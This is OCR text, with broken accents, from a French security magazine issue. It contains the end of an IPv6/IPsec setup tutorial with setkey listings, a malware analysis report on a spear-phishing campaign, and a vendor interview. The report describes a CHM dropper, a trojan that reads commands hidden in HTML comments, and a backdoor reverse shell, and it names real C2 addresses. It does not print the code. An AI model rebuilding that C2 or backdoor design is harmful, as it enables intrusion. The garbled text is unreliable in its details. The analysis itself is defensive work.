Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 13: hakin9_05_2010_FR

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

